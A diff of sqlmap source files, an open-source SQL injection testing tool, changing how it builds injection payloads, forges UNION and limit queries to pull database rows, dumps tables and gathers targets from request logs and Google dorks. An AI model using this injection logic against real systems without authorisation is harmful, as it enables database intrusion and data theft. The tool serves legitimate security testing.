Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -47,24 +47,28 @@ class Agent:
temp.stop = randomStr(6)
def payload(self, place=None, parameter=None, value=None, newValue=None):
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False):
"""
This method replaces the affected parameter with the SQL
injection statement to request
"""
negValue = ""
retValue = ""
if negative == True or conf.paramNegative == True:
negValue = "-"
# After identifing the injectable parameter
if kb.injPlace == "User-Agent":
retValue = kb.injParameter.replace(kb.injParameter,
kb.injParameter + newValue)
"%s%s" % (negValue, kb.injParameter + newValue))
elif kb.injParameter:
paramString = conf.parameters[kb.injPlace]
paramDict = conf.paramDict[kb.injPlace]
value = paramDict[kb.injParameter]
retValue = paramString.replace("%s=%s" % (kb.injParameter, value),
"%s=%s" % (kb.injParameter, value + newValue))
"%s=%s%s" % (kb.injParameter, negValue, value + newValue))
# Before identifing the injectable parameter
elif parameter == "User-Agent":
@@ -77,6 +81,14 @@ class Agent:
return retValue
def fullPayload(self, query):
query = self.prefixQuery(query)
query = self.postfixQuery(query)
payload = self.payload(newValue=query)
return payload
def prefixQuery(self, string):
"""
This method defines how the input string has to be escaped
@@ -86,17 +98,20 @@ class Agent:
query = ""
if kb.injType == "numeric":
pass
elif kb.injType in ( "stringsingle", "likesingle" ):
query = "'"
elif kb.injType in ( "stringdouble", "likedouble" ):
query = "\""
if conf.prefix:
query = conf.prefix
else:
raise sqlmapNoneDataException, "unsupported injection type"
if kb.injType == "numeric" or conf.postfix:
pass
elif kb.injType in ( "stringsingle", "likesingle" ):
query = "'"
elif kb.injType in ( "stringdouble", "likedouble" ):
query = "\""
else:
raise sqlmapNoneDataException, "unsupported injection type"
if kb.parenthesis != None:
query += "%s " % (")" * kb.parenthesis)
if kb.parenthesis not in ( None, 0 ):
query += "%s " % (")" * kb.parenthesis)
query += string
@@ -113,25 +128,28 @@ class Agent:
randStr = randomStr()
if comment:
string += "%s" % comment
string += comment
if kb.parenthesis != None:
string += " AND %s" % ("(" * kb.parenthesis)
if conf.postfix:
string += " %s" % conf.postfix
else:
raise sqlmapNoneDataException, "unable to get the number of parenthesis"
if kb.parenthesis != None:
string += " AND %s" % ("(" * kb.parenthesis)
else:
raise sqlmapNoneDataException, "unable to get the number of parenthesis"
if kb.injType == "numeric":
string += "%d=%d" % (randInt, randInt)
elif kb.injType == "stringsingle":
string += "'%s'='%s" % (randStr, randStr)
elif kb.injType == "likesingle":
string += "'%s' LIKE '%s" % (randStr, randStr)
elif kb.injType == "stringdouble":
string += "\"%s\"=\"%s" % (randStr, randStr)
elif kb.injType == "likedouble":
string += "\"%s\" LIKE \"%s" % (randStr, randStr)
else:
raise sqlmapNoneDataException, "unsupported injection type"
if kb.injType == "numeric":
string += "%d=%d" % (randInt, randInt)
elif kb.injType == "stringsingle":
string += "'%s'='%s" % (randStr, randStr)
elif kb.injType == "likesingle":
string += "'%s' LIKE '%s" % (randStr, randStr)
elif kb.injType == "stringdouble":
string += "\"%s\"=\"%s" % (randStr, randStr)
elif kb.injType == "likedouble":
string += "\"%s\" LIKE \"%s" % (randStr, randStr)
else:
raise sqlmapNoneDataException, "unsupported injection type"
return string
@@ -166,8 +184,11 @@ class Agent:
@rtype: C{str}
"""
nulledCastedField = queries[kb.dbms].cast % field
nulledCastedField = queries[kb.dbms].isnull % nulledCastedField
if field.startswith("(CASE"):
nulledCastedField = field
else:
nulledCastedField = queries[kb.dbms].cast % field
nulledCastedField = queries[kb.dbms].isnull % nulledCastedField
return nulledCastedField
@@ -220,6 +241,22 @@ class Agent:
def getFields(self, query):
"""
Take in input a query string and return its fields (columns) and
more details.
Example:
Input: SELECT user, password FROM mysql.user
Output: user,password
@param query: query to be processed
@type query: C{str}
@return: query fields (columns) and more details
@rtype: C{str}
"""
fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I)
fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I)
@@ -227,17 +264,24 @@ class Agent:
fieldsNoSelect = query
if fieldsSelectTop:
fieldsToCast = fieldsSelectTop.groups()[0]
fieldsToCastStr = fieldsSelectTop.groups()[0]
elif fieldsSelectDistinct:
fieldsToCast = fieldsSelectDistinct.groups()[0]
fieldsToCastStr = fieldsSelectDistinct.groups()[0]
elif fieldsSelectFrom:
fieldsToCast = fieldsSelectFrom.groups()[0]
fieldsToCastStr = fieldsSelectFrom.groups()[0]
elif fieldsSelect:
fieldsToCast = fieldsSelect.groups()[0]
fieldsToCastStr = fieldsSelect.groups()[0]
elif fieldsNoSelect:
fieldsToCast = fieldsNoSelect
fieldsToCastStr = fieldsNoSelect
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCast
fieldsToCastList = fieldsToCastStr.replace(", ", ",")
fieldsToCastList = fieldsToCastList.split(",")
# TODO: really needed?!
#if query.startswith("SELECT ") and "(SELECT " in query:
# fieldsSelectFrom = None
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsToCastList, fieldsToCastStr
def concatQuery(self, query):
@@ -267,11 +311,11 @@ class Agent:
"""
concatQuery = ""
query = query.replace(", ", ",")
query = query.replace(", ", ",")
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCast = self.getFields(query)
castedFields = self.nullCastConcatFields(fieldsToCast)
concatQuery = query.replace(fieldsToCast, castedFields, 1)
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, _, fieldsToCastStr = self.getFields(query)
castedFields = self.nullCastConcatFields(fieldsToCastStr)
concatQuery = query.replace(fieldsToCastStr, castedFields, 1)
if kb.dbms == "MySQL":
if fieldsSelectFrom:
@@ -283,24 +327,25 @@ class Agent:
elif fieldsNoSelect:
concatQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatQuery, temp.stop)
elif kb.dbms in ( "Oracle", "PostgreSQL" ):
elif kb.dbms in ( "PostgreSQL", "Oracle" ):
if fieldsSelectFrom:
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
concatQuery = concatQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1)
elif fieldsSelect:
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
concatQuery += "||'%s'" % temp.stop
if kb.dbms == "Oracle":
concatQuery += " FROM DUAL"
elif fieldsNoSelect:
concatQuery = "'%s'||%s||'%s'" % (temp.start, concatQuery, temp.stop)
if kb.dbms == "Oracle":
concatQuery += " FROM DUAL"
if kb.dbms == "Oracle" and " FROM " not in concatQuery and ( fieldsSelect or fieldsNoSelect ):
concatQuery += " FROM DUAL"
elif kb.dbms == "Microsoft SQL Server":
if fieldsSelectFrom:
if fieldsSelectTop:
topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatQuery, re.I).group(1)
concatQuery = concatQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, temp.start), 1)
concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
elif fieldsSelectFrom:
concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
elif fieldsSelect:
@@ -343,7 +388,12 @@ class Agent:
@rtype: C{str}
"""
inbandQuery = self.prefixQuery("UNION ALL SELECT ")
inbandQuery = self.prefixQuery(" UNION ALL SELECT ")
if query.startswith("TOP"):
topNum = re.search("\ATOP\s+([\d]+)\s+", query, re.I).group(1)
query = query[len("TOP %s " % topNum):]
inbandQuery += "TOP %s " % topNum
if not exprPosition:
exprPosition = kb.unionPosition
@@ -356,30 +406,121 @@ class Agent:
inbandQuery += ", "
if element == exprPosition:
if " FROM " in query:
conditionIndex = query.rindex(" FROM ")
inbandQuery += "%s" % query[:conditionIndex]
if " FROM " in query and not query.startswith("SELECT "):
conditionIndex = query.index(" FROM ")
inbandQuery += query[:conditionIndex]
else:
inbandQuery += "%s" % query
inbandQuery += query
else:
inbandQuery += "NULL"
if " FROM " in query:
conditionIndex = query.rindex(" FROM ")
inbandQuery += "%s" % query[conditionIndex:]
if " FROM " in query and not query.startswith("SELECT "):
conditionIndex = query.index(" FROM ")
inbandQuery += query[conditionIndex:]
if kb.dbms == "Oracle":
if " FROM " not in inbandQuery:
inbandQuery += " FROM DUAL"
if " ORDER BY " in inbandQuery:
orderIndex = inbandQuery.index(" ORDER BY ")
inbandQuery = inbandQuery[:orderIndex]
inbandQuery = self.postfixQuery(inbandQuery, kb.unionComment)
return inbandQuery
def limitQuery(self, num, query, field):
"""
Take in input a query string and return its limited query string.
Example:
Input: SELECT user FROM mysql.users
Output: SELECT user FROM mysql.users LIMIT <num>, 1
@param num: limit number
@type num: C{int}
@param query: query to be processed
@type query: C{str}
@param field: field within the query
@type field: C{list}
@return: limited query string
@rtype: C{str}
"""
limitedQuery = query
limitStr = queries[kb.dbms].limit
fromIndex = limitedQuery.index(" FROM ")
untilFrom = limitedQuery[:fromIndex]
fromFrom = limitedQuery[fromIndex+1:]
if kb.dbms in ( "MySQL", "PostgreSQL" ):
limitStr = queries[kb.dbms].limit % (num, 1)
limitedQuery += " %s" % limitStr
elif kb.dbms == "Oracle":
if " ORDER BY " in limitedQuery and "(SELECT " in limitedQuery:
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
if query.startswith("SELECT "):
limitedQuery = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
else:
limitedQuery = "%s FROM (SELECT %s, %s" % (untilFrom, ", ".join(f for f in field), limitStr)
limitedQuery = limitedQuery % fromFrom
limitedQuery += "=%d" % (num + 1)
elif kb.dbms == "Microsoft SQL Server":
forgeNotIn = True
if " ORDER BY " in limitedQuery:
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "):
topNums = re.search(queries[kb.dbms].limitregexp, limitedQuery, re.I)
if topNums:
topNums = topNums.groups()
quantityTopNums = topNums[0]
limitedQuery = limitedQuery.replace("TOP %s" % quantityTopNums, "TOP 1", 1)
startTopNums = topNums[1]
limitedQuery = limitedQuery.replace(" (SELECT TOP %s" % startTopNums, " (SELECT TOP %d" % num)
forgeNotIn = False
else:
topNum = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1)
limitedQuery = limitedQuery.replace("TOP %s " % topNum, "")
if forgeNotIn == True:
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
if " WHERE " in limitedQuery:
limitedQuery = "%s AND %s " % (limitedQuery, field)
else:
limitedQuery = "%s WHERE %s " % (limitedQuery, field)
limitedQuery += "NOT IN (%s" % (limitStr % num)
limitedQuery += "%s %s)" % (field, fromFrom)
return limitedQuery
def forgeCaseStatement(self, expression):
"""
Take in input a query string and return its CASE statement query
string.
Example:
Input: (SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'
Output: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y') THEN 1 ELSE 0 END)
@param expression: expression to be processed
@type num: C{str}
@return: processed expression
@rtype: C{str}
"""
return queries[kb.dbms].case % expression
# SQL agent
agent = Agent()

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -40,6 +40,7 @@ from lib.core.data import logger
from lib.core.data import temp
from lib.core.exception import sqlmapFilePathException
from lib.core.data import paths
from lib.core.settings import SQL_STATEMENTS
from lib.core.settings import VERSION_STRING
@@ -75,7 +76,7 @@ def paramToDict(place, parameters=None):
elem = element.split("=")
if len(elem) == 2:
parameter = elem[0]
parameter = elem[0].replace(" ", "")
condition = not conf.testParameter
condition |= parameter in conf.testParameter
@@ -97,7 +98,7 @@ def paramToDict(place, parameters=None):
warnMsg = "the testable parameter '%s' " % paramStr
warnMsg += "you provided is not into the %s" % place
if conf.googleDork:
if conf.multipleTargets:
warnMsg += ", skipping to next url"
logger.warn(warnMsg)
@@ -112,7 +113,7 @@ def paramToDict(place, parameters=None):
return testableParameters
def formatFingerprint(versions=None):
def formatDBMSfp(versions=None):
"""
This function format the back-end DBMS fingerprint value and return its
values formatted as a human readable string.
@@ -128,6 +129,70 @@ def formatFingerprint(versions=None):
return "%s %s" % (kb.dbms, versions)
elif isinstance(versions, (list, set, tuple)):
return "%s %s" % (kb.dbms, " and ".join([version for version in versions]))
elif not versions:
warnMsg = "unable to extensively fingerprint the back-end "
warnMsg += "DBMS version"
logger.warn(warnMsg)
return kb.dbms
def __formatFingerprintString(values, chain=" or "):
string = "|".join([v for v in values])
return string.replace("|", chain)
def formatFingerprint(target, info):
"""
This function format the back-end operating system fingerprint value
and return its values formatted as a human readable string.
Example of info (kb.headersFp) dictionary:
{
'distrib': set(['Ubuntu']),
'type': set(['Linux']),
'technology': set(['PHP 5.2.6', 'Apache 2.2.9']),
'release': set(['8.10'])
}
Example of info (kb.bannerFp) dictionary:
{
'sp': set(['Service Pack 4']),
'dbmsVersion': '8.00.194',
'dbmsServicePack': '0',
'distrib': set(['2000']),
'dbmsRelease': '2000',
'type': set(['Windows'])
}
@return: detected back-end operating system based upon fingerprint
techniques.
@rtype: C{str}
"""
infoStr = ""
if info and "type" in info:
infoStr += "%s operating system: %s" % (target, __formatFingerprintString(info["type"]))
if "distrib" in info:
infoStr += " %s" % __formatFingerprintString(info["distrib"])
if "release" in info:
infoStr += " %s" % __formatFingerprintString(info["release"])
if "sp" in info:
infoStr += " %s" % __formatFingerprintString(info["sp"])
if "codename" in info:
infoStr += " (%s)" % __formatFingerprintString(info["codename"])
if "technology" in info:
infoStr += "\nweb application technology: %s" % __formatFingerprintString(info["technology"], ", ")
return infoStr
def getHtmlErrorFp():
@@ -149,7 +214,7 @@ def getHtmlErrorFp():
htmlVer = kb.htmlFp[0]
htmlParsed = htmlVer
elif len(kb.htmlFp) > 1:
htmlParsed = "or ".join([htmlFp for htmlFp in kb.htmlFp])
htmlParsed = " or ".join([htmlFp for htmlFp in kb.htmlFp])
return htmlParsed
@@ -207,7 +272,7 @@ def getDirectories():
if kb.docRoot:
directories.add(kb.docRoot)
pagePath = re.search('^/(.*)/', conf.path)
pagePath = re.search("^/(.*)/", conf.path)
if kb.docRoot and pagePath:
pagePath = pagePath.groups()[0]
@@ -405,7 +470,7 @@ def banner():
print """
%s coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
""" % VERSION_STRING
@@ -429,33 +494,40 @@ def parsePasswordHash(password):
def cleanQuery(query):
upperQuery = query.replace("select ", "SELECT ")
upperQuery = upperQuery.replace(" from ", " FROM ")
upperQuery = upperQuery.replace(" limit ", " LIMIT ")
upperQuery = upperQuery.replace(" offset ", " OFFSET ")
upperQuery = upperQuery.replace(" order by ", " ORDER BY ")
upperQuery = upperQuery.replace(" group by ", " GROUP BY ")
upperQuery = upperQuery.replace(" union all ", " UNION ALL ")
upperQuery = query
for sqlStatements in SQL_STATEMENTS.values():
for sqlStatement in sqlStatements:
sqlStatementEsc = sqlStatement.replace("(", "\\(")
queryMatch = re.search("(%s)" % sqlStatementEsc, query, re.I)
if queryMatch:
upperQuery = upperQuery.replace(queryMatch.group(1), sqlStatement.upper())
return upperQuery
def setPaths():
# sqlmap paths
paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_DUMP_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/dump"
paths.SQLMAP_FILES_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/files"
paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_XML_BANNER_PATH = "%s/banner" % paths.SQLMAP_XML_PATH
paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_DUMP_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/dump"
paths.SQLMAP_FILES_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/files"
# sqlmap files
paths.SQLMAP_HISTORY = "%s/.sqlmap_history" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_CONFIG = "%s/sqlmap-%s.conf" % (paths.SQLMAP_ROOT_PATH, randomStr())
paths.FUZZ_VECTORS = "%s/fuzz_vectors.txt" % paths.SQLMAP_TXT_PATH
paths.ERRORS_XML = "%s/errors.xml" % paths.SQLMAP_XML_PATH
paths.MSSQL_XML = "%s/mssql.xml" % paths.SQLMAP_XML_PATH
paths.QUERIES_XML = "%s/queries.xml" % paths.SQLMAP_XML_PATH
paths.SQLMAP_HISTORY = "%s/.sqlmap_history" % paths.SQLMAP_ROOT_PATH
paths.SQLMAP_CONFIG = "%s/sqlmap-%s.conf" % (paths.SQLMAP_ROOT_PATH, randomStr())
paths.FUZZ_VECTORS = "%s/fuzz_vectors.txt" % paths.SQLMAP_TXT_PATH
paths.ERRORS_XML = "%s/errors.xml" % paths.SQLMAP_XML_PATH
paths.QUERIES_XML = "%s/queries.xml" % paths.SQLMAP_XML_PATH
paths.GENERIC_XML = "%s/generic.xml" % paths.SQLMAP_XML_BANNER_PATH
paths.MSSQL_XML = "%s/mssql.xml" % paths.SQLMAP_XML_BANNER_PATH
paths.MYSQL_XML = "%s/mysql.xml" % paths.SQLMAP_XML_BANNER_PATH
paths.ORACLE_XML = "%s/oracle.xml" % paths.SQLMAP_XML_BANNER_PATH
paths.PGSQL_XML = "%s/postgresql.xml" % paths.SQLMAP_XML_BANNER_PATH
def weAreFrozen():
@@ -507,15 +579,20 @@ def expandAsteriskForColumns(expression):
# If the user provided an asterisk rather than the column(s)
# name, sqlmap will retrieve the columns itself and reprocess
# the SQL query string (expression)
asterisk = re.search("^SELECT\s+\*\s+FROM\s+(\w+)[\.]+(\w+)\s*", expression, re.I)
asterisk = re.search("^SELECT\s+\*\s+FROM\s+([\w\.\_]+)\s*", expression, re.I)
if asterisk:
infoMsg = "you did not provide the fields in your query. "
infoMsg += "sqlmap will retrieve the column names itself"
logger.info(infoMsg)
conf.db = asterisk.group(1)
conf.tbl = asterisk.group(2)
dbTbl = asterisk.group(1)
if dbTbl and "." in dbTbl:
conf.db, conf.tbl = dbTbl.split(".")
else:
conf.tbl = dbTbl
columnsDict = conf.dbmsHandler.getColumns(onlyColNames=True)
if columnsDict and conf.db in columnsDict and conf.tbl in columnsDict[conf.db]:
@@ -531,7 +608,7 @@ def expandAsteriskForColumns(expression):
return expression
def getRange(count, dump=False):
def getRange(count, dump=False, plusOne=False):
count = int(count)
indexRange = None
limitStart = 1
@@ -544,10 +621,59 @@ def getRange(count, dump=False):
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
limitStart = conf.limitStart
# TODO: also for Microsoft SQL Server in getColumns method?
if kb.dbms == "Oracle":
if kb.dbms == "Oracle" or plusOne == True:
indexRange = range(limitStart, limitStop + 1)
else:
indexRange = range(limitStart - 1, limitStop)
return indexRange
def parseUnionPage(output, expression, partial=False, condition=None):
data = []
outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) )
outCond2 = ( output.startswith("__START__") and output.endswith("__STOP__") )
if outCond1 or outCond2:
if outCond1:
regExpr = '%s(.*?)%s' % (temp.start, temp.stop)
elif outCond2:
regExpr = '__START__(.*?)__STOP__'
output = re.findall(regExpr, output, re.S)
if condition == None:
condition = (
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
and expression in kb.resumedQueries[conf.url].keys()
)
if partial or not condition:
logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output])
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
output = set(output)
for entry in output:
info = []
if "__DEL__" in entry:
entry = entry.split("__DEL__")
else:
entry = entry.split(temp.delimiter)
if len(entry) == 1:
data.append(entry[0])
else:
for value in entry:
info.append(value)
data.append(info)
else:
data = output
if len(data) == 1 and isinstance(data[0], str):
data = data[0]
return data

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -23,9 +23,13 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
try:
import md5
import sha
except DeprecationWarning, _:
from hashlib import md5
from hashlib import sha
import md5
import sha
import struct
import urllib

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -219,7 +219,7 @@ class Dump:
db = "All"
table = tableValues["__infos__"]["table"]
if not conf.googleDork:
if not conf.multipleTargets:
dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep, db)
if not os.path.isdir(dumpDbPath):
@@ -259,7 +259,7 @@ class Dump:
blank = " " * (maxlength - len(column))
self.__write("| %s%s" % (column, blank), n=False)
if not conf.googleDork and field == fields:
if not conf.multipleTargets and field == fields:
dataToDumpFile(dumpFP, "\"%s\"" % column)
else:
dataToDumpFile(dumpFP, "\"%s\"," % column)
@@ -267,7 +267,7 @@ class Dump:
field += 1
self.__write("|\n%s" % separator)
if not conf.googleDork:
if not conf.multipleTargets:
dataToDumpFile(dumpFP, "\n")
for i in range(count):
@@ -293,12 +293,12 @@ class Dump:
field += 1
self.__write("|")
if not conf.googleDork:
if not conf.multipleTargets:
dataToDumpFile(dumpFP, "\n")
self.__write("%s\n" % separator)
if not conf.googleDork:
if not conf.multipleTargets:
dataToDumpFile(dumpFP, "\n")
dumpFP.close()

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -74,6 +74,10 @@ class sqlmapNotVulnerableException(Exception):
pass
class sqlmapThreadException(Exception):
pass
class sqlmapUnsupportedDBMSException(Exception):
pass
@@ -89,8 +93,8 @@ class sqlmapValueException(Exception):
def unhandledException():
errMsg = "unhandled exception in %s, please copy " % VERSION_STRING
errMsg += "the command line and the following text and send by e-mail "
errMsg += "to bernardo.damele@gmail.com. I will fix it as soon as "
errMsg += "possible:\nsqlmap version: %s\n" % VERSION
errMsg += "to sqlmap-users@lists.sourceforge.net. The developers will "
errMsg += "fix it as soon as possible:\nsqlmap version: %s\n" % VERSION
errMsg += "Python version: %s\n" % sys.version.split()[0]
errMsg += "Operating system: %s" % sys.platform
return errMsg
@@ -108,6 +112,7 @@ exceptionsTuple = (
sqlmapUndefinedMethod,
sqlmapMissingPrivileges,
sqlmapNotVulnerableException,
sqlmapThreadException,
sqlmapUnsupportedDBMSException,
sqlmapUnsupportedFeatureException,
sqlmapValueException,

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -25,13 +25,17 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import cookielib
import difflib
import logging
import os
import re
import socket
import time
import urllib2
import urlparse
from ConfigParser import ConfigParser
from lib.core.common import parseTargetUrl
from lib.core.common import paths
from lib.core.common import randomRange
@@ -81,6 +85,114 @@ def __urllib2Opener():
urllib2.install_opener(opener)
def __feedTargetsDict(reqFile, addedTargetUrls):
fp = open(reqFile, "r")
fread = fp.read()
fread = fread.replace("\r", "")
reqResList = fread.split("======================================================")
for request in reqResList:
if not re.search ("^[\n]*(GET|POST).*?\sHTTP\/", request, re.I):
continue
if re.search("^[\n]*(GET|POST).*?\.(gif|jpg|png)\sHTTP\/", request, re.I):
continue
getPostReq = False
url = None
host = None
method = None
data = None
cookie = None
params = False
lines = request.split("\n")
for line in lines:
if len(line) == 0 or line == "\n":
continue
if line.startswith("GET ") or line.startswith("POST "):
if line.startswith("GET "):
index = 4
else:
index = 5
url = line[index:line.index(" HTTP/")]
method = line[:index-1]
if "?" in line and "=" in line:
params = True
getPostReq = True
elif "?" in line and "=" in line and ": " not in line:
data = line
params = True
elif ": " in line:
key, value = line.split(": ", 1)
if key.lower() == "cookie":
cookie = value
elif key.lower() == "host":
host = value
if getPostReq and params:
if not url.startswith("http"):
url = "http://%s%s" % (host, url)
if not kb.targetUrls or url not in addedTargetUrls:
kb.targetUrls.add(( url, method, data, cookie ))
addedTargetUrls.add(url)
def __setMultipleTargets():
"""
Define a configuration parameter if we are running in multiple target
mode.
"""
initialTargetsCount = len(kb.targetUrls)
addedTargetUrls = set()
if not conf.list:
return
debugMsg = "parsing targets list from '%s'" % conf.list
logger.debug(debugMsg)
if not os.path.exists(conf.list):
errMsg = "the specified list of targets does not exist"
raise sqlmapFilePathException, errMsg
if os.path.isfile(conf.list):
__feedTargetsDict(conf.list, addedTargetUrls)
elif os.path.isdir(conf.list):
files = os.listdir(conf.list)
files.sort()
for reqFile in files:
if not re.search("([\d]+)\-request", reqFile):
continue
__feedTargetsDict(os.path.join(conf.list, reqFile), addedTargetUrls)
else:
errMsg = "the specified list of targets is not a file "
errMsg += "nor a directory"
raise sqlmapFilePathException, errMsg
updatedTargetsCount = len(kb.targetUrls)
if updatedTargetsCount > initialTargetsCount:
infoMsg = "sqlmap parsed %d " % (updatedTargetsCount - initialTargetsCount)
infoMsg += "testable requests from the targets list"
logger.info(infoMsg)
def __setGoogleDorking():
"""
This function checks if the way to request testable hosts is through
@@ -109,7 +221,7 @@ def __setGoogleDorking():
errMsg += "Google dork expression"
raise sqlmapGenericException, errMsg
kb.targetUrls = googleObj.getTargetUrls()
googleObj.getTargetUrls()
if kb.targetUrls:
logMsg = "sqlmap got %d results for your " % len(matches)
@@ -120,7 +232,7 @@ def __setGoogleDorking():
else:
logMsg += "%d " % len(kb.targetUrls)
logMsg += "of them are testable hosts"
logMsg += "of them are testable targets"
logger.info(logMsg)
else:
errMsg = "sqlmap got %d results " % len(matches)
@@ -129,9 +241,31 @@ def __setGoogleDorking():
raise sqlmapGenericException, errMsg
def __setRemoteDBMS():
def __setUnionTech():
if conf.uTech == None:
conf.uTech = "NULL"
return
uTechOriginal = conf.uTech
conf.uTech = conf.uTech.lower()
if conf.uTech and conf.uTech not in ( "null", "orderby" ):
infoMsg = "resetting the UNION query detection technique to "
infoMsg += "'NULL', '%s' is not a valid technique" % uTechOriginal
logger.info(infoMsg)
conf.uTech = "NULL"
else:
debugMsg = "setting UNION query detection technique to "
debugMsg += "'%s'" % uTechOriginal
logger.debug(debugMsg)
def __setDBMS():
"""
Checks and set the back-end DBMS option.
Force the back-end DBMS option.
"""
if not conf.dbms:
